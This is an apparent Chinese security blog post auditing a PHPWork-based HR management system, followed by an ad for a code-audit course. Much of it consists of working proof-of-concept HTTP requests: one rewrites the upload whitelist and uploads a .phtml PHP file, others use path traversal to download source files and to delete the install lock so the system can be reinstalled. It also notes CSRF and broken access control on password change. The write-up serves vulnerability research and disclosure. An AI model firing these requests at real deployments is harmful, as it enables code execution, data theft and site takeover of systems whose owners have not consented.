当前位置:首页>php>【PHP代审】基于PHPWork的HR人力资源管理系统审计

【PHP代审】基于PHPWork的HR人力资源管理系统审计

  • 2026-08-26 11:49:24
【PHP代审】基于PHPWork的HR人力资源管理系统审计

点击上方蓝字·关注我们

免责声明

由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。

文章目录
项目介绍环境搭建架构分析鉴权分析代码审计    任意文件上传    任意文件下载    任意文件删除    任意文件下载    任意文件上传最后

项目介绍

非常全面的一款HR人力资源系统,后台可以管理合同、薪资、员工、部门、招聘、面试、培训、数据统计等等

功能:人员管理、合同管理、工资管理、招聘管理、面试计划、培训管理

程序包括:配置端、管理端。

配置端:自定义角色和权限,自定义附件上传文件类型,字典管理、部门管理、数据统计、操作日志

管理端:人员管理、合同管理、工资管理、招聘管理、面试计划、培训管理

部门管理:支持部门多层级定义

人事信息:人员培训经历无限添加,人员数据可以批量导入、批量导出,生日提醒设置

合同管理:合同临期提醒,可设置提醒距离合同截止天数,

薪酬管理:自定义薪资计算公式,自动核算补贴,加班费,五险一金,小计

菜单管理:完整的菜单类型,包括目录、菜单、按钮。实现菜单、页面的权限操作。

角色管理:角色菜单权限分配、设置角色按机构进行数据范围权限划分。

字典数据:对系统中经常使用的一些较为固定的数据进行维护。

附件上传:支持自定义上传文件类型

消息中心:消息提醒,支持在配置端角色设置中配置

fofa:

界面:

环境搭建

源码下载到本地后,配置小皮

然后直接访问,触发install流程,按照流程安装即可

架构分析

属于自研框架一类,通过index.php定位框架文件

前面都是一些基础配置,主要关注控制器方法,也就是项目路由是怎么走的

跟进controller.php

11行定义$addons_name=application,应该是基础目录名

14-15行检查请求中是否存在路径信息变量,并且该变量值符合正则表达式规则(以字母或下划线开头,由字母、数字、下划线、斜杠、点组成,长度不超过80字符)

17行将请求路径通过/分割存储到$s,19行判断$s中的第一个元素是否在_MODULES_中,跟进下

发现值是'install','platform','api',如果是三个其中一个设置$addons_name为system

这和system的目录结构也对应上了,回到代码,如果$_REQUEST[$GLOBALS['config']['var_pathinfo']] 不存在,也就是对应的路由请求不符合规则就会触发23-36行的else,这个我们先不管

38-40判断请求路由拼接的方法目录是否存在,43-50定义应用相关常量:设置插件目录名、模块名、模块绝对路径和URL路径四个常量,53-56检查指定模块的配置文件(manifest.php)是否存在,如果存在则加载该配置文件,并将其中的application配置项赋值给全局配置变量

58-69行是设置类控制器和触发方法,也是通过我们的路由传参获取,如果为空则设置为index,其中如果传参的控制器存在.就会替换成/,是对于多目录的调用方式

73-75检查控制器文件是否存在,77-82检查如果触发的是application下的模块的话通过数据库检查是否存在模块名,这里是直接拼接查询,但是前面的正则检查不能出现特殊字符

89-92是权限校验的一会鉴权分析再说明,96-99设置了默认入口,105行包含了要触发的控制器文件,然后在111行构造完整的类路径,112行实例化,113行调用对应的触发方法

我这里找个方法演示

POST /index.php?s=platform/index/api_login_check

这个的登录方法的触发路由

分析起来也很简单,首先参数通过/分割后的第一个值是platform,在_MODULES_中,那么触发的就是system下的platform目录,接着是触发的控制器index,然后是实例类后触发api_login_check方法

鉴权分析

分析下项目鉴权,关注点:1、无需鉴权接口,2、鉴权逻辑是否存在缺陷

controller.php的89-92行

两个条件,满足其中一个就包含/system/platform/auth.inc.php文件,

条件1:请求目录不为system,并且请求模块不为admin即可

条件2:请求目录为system并且$app包含_MODULES_AUTH_并且$controller不为index

跟进auth.inc.php

session认证,毋庸置疑了,分析到这里还远远没结束,因为在实际的方法构造触发class的时候,项目中还有通过类继承实现鉴权的

鉴权类:Base

在初始化魔术方法__construct中编写鉴权

然后其它class继承后也需要鉴权

代码审计

任意文件上传

搜索move_uploaded_file

定位到framework/file.php中的file_upload方法

重点关注:1、文件后缀的校验,2、有无内容校验

33行获取我们上传的文件后缀,35-39行一个黑名单逻辑判断,后缀不能为php,这个可以尝试phtml等变式后缀绕过,47-54行对文件内容进行检测,不能出现?php|eval|file_get_contents,函数多的去了,这里过滤?php可尝试采用短标签绕过

接着在57-65行发现了获取白名单后缀进行判断的操作$extension通过全局配置变量 $GLOBALS['config']['upload']['limit'] 中获取的,这里没找到定义,直接全局搜索extension

发现是在安装脚本的时候写入数据库中

sql_install.php

这里对应的存储配置的表是sys_config

那么这里要关注能否修改对应的内容,找了下还真有

在system/platform/controller/config.php中的config_upload方法

通过post传参limit存入$data,然后调用pdo_update方法更新,这里传参没有看到过滤,跟进实现

可以看到也没有,那么这里是可以修改文件上传配置,添加白名单的

构造poc

POST /index.php?s=platform/config/config_upload HTTP/1.1HostContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36Accept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1Cookie: PHPSESSID=co8h1cfab594m6ns2ouhtdrb23Cache-Control: max-age=0Content-Length: 443limit%5Bfile%5D%5Bextension%5D=zip%7Crar%7C7z%7Cdoc%7Cdocx%7Cxls%7Cxlsx%7Cpdf%7Cphtml&limit%5Bfile%5D%5Bsize%5D=20&limit%5Bimage%5D%5Bextension%5D=gif%7Cjpg%7Cjpeg%7Cpng&limit%5Bimage%5D%5Bsize%5D=10&limit%5Bmedia%5D%5Bextension%5D=mp3%7Cavi%7Cmp4%7Cmpg%7Cwmv%7Cmov&limit%5Bmedia%5D%5Bsize%5D=30&upload_type=%E6%9C%AC%E5%9C%B0&bucket=&accesskeyid=&accesskeysecret=&domain=https%3A%2F%2F&bucket_realm_name=https%3A%2F%2F&transfer=https%3A%2F%2F

接着调用上传接口

POST /index.php?s=api/upload/file_upload&app_name=ruanjie_hr_pro HTTP/1.1Host: Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=co8h1cfab594m6ns2ouhtdrb23X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykbtp2r6Oum49tQQgAccept-Encoding: gzip, deflateContent-Length: 2890------WebKitFormBoundarykbtp2r6Oum49tQQgContent-Disposition: form-data; name="file"; filename="test.phtml"Content-Type: image/jpeg<?= phpinfo();>------WebKitFormBoundarykbtp2r6Oum49tQQg--

任意文件下载

system/platform/controller/database.php中的down方法

通过get接受F参数拼接完整文件路径,然后调用readfile读取文件

poc

GET /index.php?s=platform/database/down&f=../../index.php HTTP/1.1HostAccept-Encoding: gzip, deflateAccept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=co8h1cfab594m6ns2ouhtdrb23User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36

任意文件删除

system/platform/controller/database.php中的delete方法

实现也很简单和文件读取差不多,f接受文件名拼接完整文件路径,然后调用unlink方法删除文件

找个文件

poc

GET /index.php?s=platform/database/delete&f=../../nginx.htaccess HTTP/1.1HostAccept-Encoding: gzip, deflateAccept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=co8h1cfab594m6ns2ouhtdrb23User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36

可以删除安装锁文件,重新安装系统等

上面几个都是PHPwork框架的,接下来看下HR人力资源管理这个插件的

任意文件下载

application/ruanjie_hr_pro/controller/manage/download.php中的index和file方法

两个方法实现和前面的文件下载一样

poc

GET /index.php?s=ruanjie_hr_pro/manage.download/index&filename=../../../index.php HTTP/1.1HostAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Cookie: PHPSESSID=co8h1cfab594m6ns2ouhtdrb23Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9

任意文件上传

application/ruanjie_hr_pro/controller/manage/cadre.php中的api_upload_image方法

这里底层调用的也是file.php中的file_upload,按照前面流程配置白名单,然后上传即可

还有CSRF和多处XSS,越权懒得写

像密码修改,无需旧密码可以csrf和越权

条件id直接通过数据包传递

最后

源码获取微信公众号回复"20251024"获取下载地址

提供的源码仅用于技术学习与研究个人代码审计能力提升,其他使用与作者【C@ig0】以及公众号【菜狗安全】无关,后果请自行承担!!!

有其它问题或者对文章内容有疑问的,可以加作者微信,加交流群的话备注"交流群"


公众号培训广告,有需要可联系(混口饭吃)

详细课程介绍:菜狗安全《代码审计培训》手把手教学的0day挖掘之旅

课程介绍视频
菜狗安全《代码审计》第①期培训介绍与答疑
https://www.bilibili.com/video/BV153VWzgEgq(旧课表的)
第一期JAVA专题课表
比起公开课内容对小白更友好,讲解更细致,实战案例更新更多,更有0day案例讲解
企业源码实战审计
秉承节节有0Day,节节挖0Day,从源码解压到漏洞审计完整流程,现场手把手教学审0day
学员内部福利

1、国内几个源码站会员:9k9k,刀客,小蚂蚁,优选源码,源码庄,狗凯等,如果有需要其他源码站会员可联系我,我看情况开通

2、内部代码审计文档库加配套对应源码(持续更新中)
每篇都是从项目架构分析->鉴权分析->漏洞审计,以思路为主,并非简单漏洞披露
3、不定期抽奖和布置考核任务给予奖品,形成玩中学,学中玩的学习氛围(太多了随便放两张)
考核靶场
4、部分项目(代码审计,渗透测试,讲师,HVV等等)优先推送
5、更多内容筹备中。。。
学员反馈
放几张意思下,还有一堆懒得找了
价格
课程依旧加量不加价,1299,第一期60+节课,一次报名后面可以一直听不会有二次收费,如果是学生确实没啥💴就看公开的吧,入门绝对够,付费课有能力再考虑
暂时我也想不到其它问题了,如果有其他疑问可以在群里问,或者私信我
心动不如行动
有需要或者有问题可以加微信,备注“培训”

最新文章

随机文章